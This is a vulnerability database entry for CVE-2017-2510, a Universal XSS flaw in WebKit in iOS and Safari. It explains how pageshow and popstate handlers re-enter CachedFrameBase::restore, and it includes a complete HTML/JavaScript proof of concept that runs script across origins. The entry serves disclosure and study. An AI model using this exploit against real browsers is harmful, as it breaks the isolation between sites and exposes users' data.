descriptionAn issue was discovered in certain Apple products. iOS before 10.3.2 is affected. Safari before 10.1.1 is affected. The issue involves the "WebKit" component. It allows remote attackers to conduct Universal XSS (UXSS) attacks via a crafted web site that improperly interacts with pageshow events. Here is a snippet of CachedFrameBase::restore which is invoked when cached frames are restored. ``` void CachedFrameBase::restore() { ... for (auto& childFrame : m_childFrames) { ASSERT(childFrame->view()->frame().page()); frame.tree().appendChild(childFrame->view()->frame()); childFrame->open(); <----- (a) } ... // FIXME: update Page Visibility state here. // https://bugs.webkit.org/show_bug.cgi?id=116770 m_document->enqueuePageshowEvent(PageshowEventPersisted); HistoryItem* historyItem = frame.loader().history().currentItem(); if (historyItem && historyItem->stateObject()) m_document->enqueuePopstateEvent(historyItem->stateObject()); frame.view()->didRestoreFromPageCache(); } ``` enqueuePageshowEvent and enqueuePopstateEvent are named "enqueue*", but actually those *dispatch* window events that may fire JavaScript handlers synchronously. At (a), |open| method may invoke |CachedFrameBase::restore| method again. Thus, the parent frame's document may be replaced while |open| is called in the iteration, the next child frame is attached to the parent frame holding the replaced document. ### PoC: ``` <html> <body> <script> function createURL(data, type = 'text/html') { return URL.createObjectURL(new Blob([data], {type: type})); } function navigate(w, url) { let a = w.document.createElement('a'); a.href = url; a.click(); } function main() { let i0 = document.body.appendChild(document.createElement('iframe')); let i1 = document.body.appendChild(document.createElement('iframe')); i0.contentWindow.onpageshow = () => { navigate(window, 'https://abc.xyz/'); showModalDialog(createURL(` <script> let it = setInterval(() => { try { opener.document.x; } catch (e) { clearInterval(it); window.close(); } }, 10); </scrip` + 't>')); }; i1.contentWindow.onpageshow = () => { i1.srcdoc = '<script>alert(parent.location);</scrip' + 't>'; navigate(i1.contentWindow, 'about:srcdoc'); }; navigate(window, createURL(`<html><head></head><body>Click anywhere<script> window.onclick = () => { window.onclick = null; history.back(); }; </scrip` + `t></body></html>`)); } window.onload = () => { setTimeout(main, 0); }; </script> </body> </html> ```
idSSV:93148
last seen2017-11-19
modified2017-05-26
published2017-05-26
reporterRoot
sourcehttps://www.seebug.org/vuldb/ssvid-93148
titleWebKit enqueuePageshowEvent / enqueuePopstateEvent Universal XSS(CVE-2017-2510)